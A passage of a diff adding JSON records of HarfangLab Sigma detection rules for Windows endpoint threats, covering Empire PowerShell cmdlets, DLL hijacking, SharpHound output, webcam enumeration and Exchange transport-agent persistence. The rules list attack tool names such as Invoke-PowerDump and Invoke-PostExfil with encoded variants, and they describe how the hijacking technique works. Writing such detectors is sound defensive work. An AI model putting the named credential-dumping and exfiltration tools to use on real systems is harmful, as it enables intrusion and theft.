+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092545Z",
+  "creation_date": "2026-03-23T11:45:34.092547Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092551Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/EmpireProject/Empire/tree/master/data/module_source",
+    "https://github.com/BC-SECURITY/Empire",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_empire_cmd.yml",
+  "content": "title: Malicious PowerShell Empire Commandlets in Command-line\nid: 8732348d-98d7-4fca-bbec-2a24b491b836\ndescription: |\n    Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent.\n    This rule detects various malicious commandlets in PowerShell's command-line, generally associated with the Empire framework.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://github.com/EmpireProject/Empire/tree/master/data/module_source\n    - https://github.com/BC-SECURITY/Empire\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/22\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Empire\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n    malicious_cmdlet:\n        CommandLine|contains:\n            # Get-FoxDump, from Empire\n            - 'Get-FoxDump'\n            - 'RwBlAHQALQBGAG8AeABEAHUAbQBwA'\n            - 'cAZQB0AC0ARgBvAHgARAB1AG0AcA'\n            - 'HAGUAdAAtAEYAbwB4AEQAdQBtAHAA'\n            # Get-Screenshot, from Empire\n            - 'Get-Screenshot'\n            - 'RwBlAHQALQBTAGMAcgBlAGUAbgBzAGgAbwB0A'\n            - 'cAZQB0AC0AUwBjAHIAZQBlAG4AcwBoAG8AdA'\n            - 'HAGUAdAAtAFMAYwByAGUAZQBuAHMAaABvAHQA'\n            # Invoke-NetRipper, from Empire\n            - 'Invoke-NetRipper'\n            - 'SQBuAHYAbwBrAGUALQBOAGUAdABSAGkAcABwAGUAcg'\n            - 'kAbgB2AG8AawBlAC0ATgBlAHQAUgBpAHAAcABlAHIA'\n            - 'JAG4AdgBvAGsAZQAtAE4AZQB0AFIAaQBwAHAAZQByA'\n            # Invoke-EgressCheck, from Empire\n            - 'Invoke-EgressCheck'\n            - 'SQBuAHYAbwBrAGUALQBFAGcAcgBlAHMAcwBDAGgAZQBjAGsA'\n            - 'kAbgB2AG8AawBlAC0ARQBnAHIAZQBzAHMAQwBoAGUAYwBrA'\n            - 'JAG4AdgBvAGsAZQAtAEUAZwByAGUAcwBzAEMAaABlAGMAaw'\n            # Invoke-PostExfil, from Empire\n            - 'Invoke-PostExfil'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AcwB0AEUAeABmAGkAbA'\n            - 'kAbgB2AG8AawBlAC0AUABvAHMAdABFAHgAZgBpAGwA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwBzAHQARQB4AGYAaQBsA'\n            # Invoke-PSInject, from Empire\n            - 'Invoke-PSInject'\n            - 'SQBuAHYAbwBrAGUALQBQAFMASQBuAGoAZQBjAHQA'\n            - 'kAbgB2AG8AawBlAC0AUABTAEkAbgBqAGUAYwB0A'\n            - 'JAG4AdgBvAGsAZQAtAFAAUwBJAG4AagBlAGMAdA'\n            # New-HoneyHash, from Empire\n            - 'New-HoneyHash'\n            - 'TgBlAHcALQBIAG8AbgBlAHkASABhAHMAaA'\n            - '4AZQB3AC0ASABvAG4AZQB5AEgAYQBzAGgA'\n            - 'OAGUAdwAtAEgAbwBuAGUAeQBIAGEAcwBoA'\n            # Invoke-PowerDump, from Empire\n            - 'Invoke-PowerDump'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AdwBlAHIARAB1AG0AcA'\n            - 'kAbgB2AG8AawBlAC0AUABvAHcAZQByAEQAdQBtAHAA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBEAHUAbQBwA'\n            # Exploit-Jboss, from Empire\n            - 'Exploit-Jboss'\n            - 'RQB4AHAAbABvAGkAdAAtAEoAYgBvAHMAcw'\n            - 'UAeABwAGwAbwBpAHQALQBKAGIAbwBzAHMA'\n            - 'FAHgAcABsAG8AaQB0AC0ASgBiAG8AcwBzA'\n            # Invoke-BackdoorLNK, from Empire / HarmJ0y\n            - 'Invoke-BackdoorLNK'\n            - 'SQBuAHYAbwBrAGUALQBCAGEAYwBrAGQAbwBvAHIATABOAEsA'\n            - 'kAbgB2AG8AawBlAC0AQgBhAGMAawBkAG8AbwByAEwATgBLA'\n            - 'JAG4AdgBvAGsAZQAtAEIAYQBjAGsAZABvAG8AcgBMAE4ASw'\n            # Invoke-BypassUAC, from Empire\n            - 'Invoke-BypassUAC'\n            - 'SQBuAHYAbwBrAGUALQBCAHkAcABhAHMAcwBVAEEAQw'\n            - 'kAbgB2AG8AawBlAC0AQgB5AHAAYQBzAHMAVQBBAEMA'\n            - 'JAG4AdgBvAGsAZQAtAEIAeQBwAGEAcwBzAFUAQQBDA'\n            # Invoke-Tater, from Empire\n            - 'Invoke-Tater'\n            - 'SQBuAHYAbwBrAGUALQBUAGEAdABlAHIA'\n            - 'kAbgB2AG8AawBlAC0AVABhAHQAZQByA'\n            - 'JAG4AdgBvAGsAZQAtAFQAYQB0AGUAcg'\n            # Invoke-Paranoia, from Empire\n            - 'Invoke-Paranoia'\n            - 'SQBuAHYAbwBrAGUALQBQAGEAcgBhAG4AbwBpAGEA'\n            - 'kAbgB2AG8AawBlAC0AUABhAHIAYQBuAG8AaQBhA'\n            - 'JAG4AdgBvAGsAZQAtAFAAYQByAGEAbgBvAGkAYQ'\n            # Invoke-WinEnum, from Empire\n            - 'Invoke-WinEnum'\n            - 'SQBuAHYAbwBrAGUALQBXAGkAbgBFAG4AdQBtA'\n            - 'kAbgB2AG8AawBlAC0AVwBpAG4ARQBuAHUAbQ'\n            - 'JAG4AdgBvAGsAZQAtAFcAaQBuAEUAbgB1AG0A'\n            # Invoke-ARPScan, from Empire\n            - 'Invoke-ARPScan'\n            - 'SQBuAHYAbwBrAGUALQBBAFIAUABTAGMAYQBuA'\n            - 'kAbgB2AG8AawBlAC0AQQBSAFAAUwBjAGEAbg'\n            - 'JAG4AdgBvAGsAZQAtAEEAUgBQAFMAYwBhAG4A'\n\n    exclusion_signageos:\n        # Get-ScreenshotHelper.ps1  + Get-Screenshot.ps1\n        ProcessCommandLine: '*\\signageos\\server\\powershell\\Get-Screenshot*.ps1 -screenshotFilePath *\\signageOS\\fileSystem\\tmp\\screenshots\\\\*.png'\n\n    condition: powershell and malicious_cmdlet and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8732348d-98d7-4fca-bbec-2a24b491b836",
+  "rule_name": "Malicious PowerShell Empire Commandlets in Command-line",
+  "rule_description": "Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent.\nThis rule detects various malicious commandlets in PowerShell's command-line, generally associated with the Empire framework.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8756b4ce-2c2d-458c-9663-402ab0d945d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099248Z",
+  "creation_date": "2026-03-23T11:45:34.099250Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099254Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netbtugc.yml",
+  "content": "title: DLL Hijacking via netbtugc.exe\nid: 8756b4ce-2c2d-458c-9663-402ab0d945d9\ndescription: |\n    Detects potential Windows DLL Hijacking via netbtugc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'netbtugc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\wdscore.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8756b4ce-2c2d-458c-9663-402ab0d945d9",
+  "rule_name": "DLL Hijacking via netbtugc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via netbtugc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8780eb74-cf3c-4641-bf62-2597cf3cae7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085282Z",
+  "creation_date": "2026-03-23T11:45:34.085284Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085288Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html",
+    "https://attack.mitre.org/techniques/T1560/",
+    "https://attack.mitre.org/software/S0521/"
+  ],
+  "name": "t1560_bloodhound_file_creation.yml",
+  "content": "title: SharpHound Domain Enumeration File Created\nid: 8780eb74-cf3c-4641-bf62-2597cf3cae7c\ndescription: |\n    Detects files with SharpHound default nomenclature being written to disk.\n    These files can either be .json files containing information about Active Directory objects or a zip file containing them.\n    SharpHound is known to be used by attackers during the discovery phase to enumerate domains and find privilege escalation paths. Typically, SharpHound will be executed via a .ps1 or .exe file.\n    It is recommended to determine if this action comes from internal tests and to look for other suspicious actions on the host.\nreferences:\n    - https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html\n    - https://attack.mitre.org/techniques/T1560/\n    - https://attack.mitre.org/software/S0521/\ndate: 2023/06/13\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.HackTool.SharpHound\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.Collection\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith:\n            - '\\20???????????_BloodHound.zip'\n            - '\\20???????????_computers.json'\n            - '\\20???????????_domains.json'\n            - '\\20???????????_users.json'\n            - '\\20???????????_gpos.json'\n            - '\\20???????????_ous.json'\n            - '\\20????????????_BloodHound.zip'\n            - '\\20????????????_computers.json'\n            - '\\20????????????_domains.json'\n            - '\\20????????????_users.json'\n            - '\\20????????????_gpos.json'\n            - '\\20????????????_ous.json'\n\n    exclusion_explorer:\n        Image: '?:\\Windows\\explorer.exe'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8780eb74-cf3c-4641-bf62-2597cf3cae7c",
+  "rule_name": "SharpHound Domain Enumeration File Created",
+  "rule_description": "Detects files with SharpHound default nomenclature being written to disk.\nThese files can either be .json files containing information about Active Directory objects or a zip file containing them.\nSharpHound is known to be used by attackers during the discovery phase to enumerate domains and find privilege escalation paths. Typically, SharpHound will be executed via a .ps1 or .exe file.\nIt is recommended to determine if this action comes from internal tests and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2023-06-13",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1560"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "878a5509-175f-4fe1-977c-3f21e842a9bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098536Z",
+  "creation_date": "2026-03-23T11:45:34.098538Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098542Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dataexchangehost.yml",
+  "content": "title: DLL Hijacking via dataexchangehost.exe\nid: 878a5509-175f-4fe1-977c-3f21e842a9bb\ndescription: |\n    Detects potential Windows DLL Hijacking via dataexchangehost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dataexchangehost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d2d1.dll'\n            - '\\d3d11.dll'\n            - '\\dcomp.dll'\n            - '\\DWrite.dll'\n            - '\\dxgi.dll'\n            - '\\twinapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "878a5509-175f-4fe1-977c-3f21e842a9bb",
+  "rule_name": "DLL Hijacking via dataexchangehost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dataexchangehost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "87b85835-9289-4adc-bac4-c9cea4811f93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083243Z",
+  "creation_date": "2026-03-23T11:45:34.083246Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083250Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/cb79101125064af2721b8346628db114999e4dfa/atomics/T1592.001/T1592.001.md",
+    "https://www.mandiant.com/resources/blog/analyzing-dark-crystal-rat-backdoor",
+    "https://attack.mitre.org/techniques/T1592/001/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1592_001_enumerate_plugnplay_webcams.yml",
+  "content": "title: PnP Webcams Enumerated via PowerShell\nid: 87b85835-9289-4adc-bac4-c9cea4811f93\ndescription: |\n    Detects execution of PowerShell command related to enumerate plug and play webcams.\n    Attackers may use it during the discovery phase.\n    This technique was seen in dcrat malware backdoor capabilities where it enumerates the camera info mounted on the compromised host.\n    It is recommended to investigate the process responsible for the script execution as well as its ancestors to look for malicious content or actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/cb79101125064af2721b8346628db114999e4dfa/atomics/T1592.001/T1592.001.md\n    - https://www.mandiant.com/resources/blog/analyzing-dark-crystal-rat-backdoor\n    - https://attack.mitre.org/techniques/T1592/001/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/12/23\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.reconnaissance\n    - attack.discovery\n    - attack.t1592.001\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'SELECT * FROM Win32_PnPEntity'\n            - 'PNPClass'\n            - 'Camera'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "87b85835-9289-4adc-bac4-c9cea4811f93",
+  "rule_name": "PnP Webcams Enumerated via PowerShell",
+  "rule_description": "Detects execution of PowerShell command related to enumerate plug and play webcams.\nAttackers may use it during the discovery phase.\nThis technique was seen in dcrat malware backdoor capabilities where it enumerates the camera info mounted on the compromised host.\nIt is recommended to investigate the process responsible for the script execution as well as its ancestors to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1592.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "87d2cc4e-582f-4778-8944-25baff8859eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071773Z",
+  "creation_date": "2026-03-23T11:45:34.071775Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071779Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
+    "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook",
+    "https://attack.mitre.org/techniques/T1505/002/"
+  ],
+  "name": "t1505_002_new_exchange_transport_agent_enabled_powershell.yml",
+  "content": "title: New Exchange TransportAgent Enabled via PowerShell\nid: 87d2cc4e-582f-4778-8944-25baff8859eb\ndescription: |\n    Detects the enabling of a new TransportAgent on an Exchange server via PowerShell.\n    Attackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\n    The malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\n    It is recommended to investigate the newly installed transport agent for malicious content.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\n    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook\n    - https://attack.mitre.org/techniques/T1505/002/\ndate: 2022/11/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.002\n    - attack.command_and_control\n    - attack.t1104\n    - attack.t1071.003\n    - attack.defense_evasion\n    - attack.t1546.008\n    - attack.collection\n    - attack.t1114.002\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.Collection\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Enable-TransportAgent '\n\n    exclusion_exchange_setup:\n        ProcessOriginalFileName: 'ExSetupUI.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n\n    exclusion_dkimsigner:\n        ProcessImage|endswith: '\\configuration.dkimsigner.exe'\n        ProcessDescription: 'DKIM Signing Configuration'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "87d2cc4e-582f-4778-8944-25baff8859eb",
+  "rule_name": "New Exchange TransportAgent Enabled via PowerShell",
+  "rule_description": "Detects the enabling of a new TransportAgent on an Exchange server via PowerShell.\nAttackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\nThe malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\nIt is recommended to investigate the newly installed transport agent for malicious content.\n",
+  "rule_creation_date": "2022-11-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1104",
+    "attack.t1114.002",
+    "attack.t1505.002",
+    "attack.t1546.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "87d7c639-91d6-4395-a982-e2f01a0e9a71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
